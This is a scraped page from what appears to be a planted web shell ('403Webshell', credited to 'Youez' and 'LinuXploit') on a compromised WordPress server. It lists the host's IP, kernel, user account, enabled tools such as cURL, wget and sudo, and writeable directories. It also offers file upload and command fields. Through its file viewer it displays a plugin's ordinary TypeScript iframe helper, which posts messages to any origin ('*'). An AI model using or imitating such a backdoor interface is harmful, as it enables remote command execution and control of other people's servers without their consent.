403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/send-app/modules/admin/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/send-app/modules/admin/assets/js//iframe.ts
export class Iframe {
	constructor() {
		this.init();
	}

	init() {
		const app = document.querySelector('.send-app-admin-app');
		app.classList.add('esend-app');
		const iframe = document.createElement('iframe');
		iframe.classList.add('esend-iframe');
		iframe.setAttribute('allow', 'clipboard-write; fullscreen');
		iframe.setAttribute('allowfullscreen', 'true');
		let url = null;
		if (localStorage.getItem('refresh')) {
			const path = localStorage.getItem('route');
			if (path) {
				url = `${eSendAdminAppConfig.iframeUrl}${path}`;
			} else {
				url = eSendAdminAppConfig.iframeUrl;
			}
			localStorage.removeItem('refresh');
		} else {
			url = eSendAdminAppConfig.iframeUrl;
		}

		// Constructing the URL
		const srcUrl = new URL(url);
		srcUrl.searchParams.set('t', new Date().getTime());
		iframe.src = srcUrl.toString();
		app.appendChild(iframe);
		this.iframe = iframe;
	}

	sendMessage(message, targetOrigin = '*') {
		const domain = window.location.hostname;
		this.iframe.contentWindow.postMessage(
			{ message, domain },
			targetOrigin
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit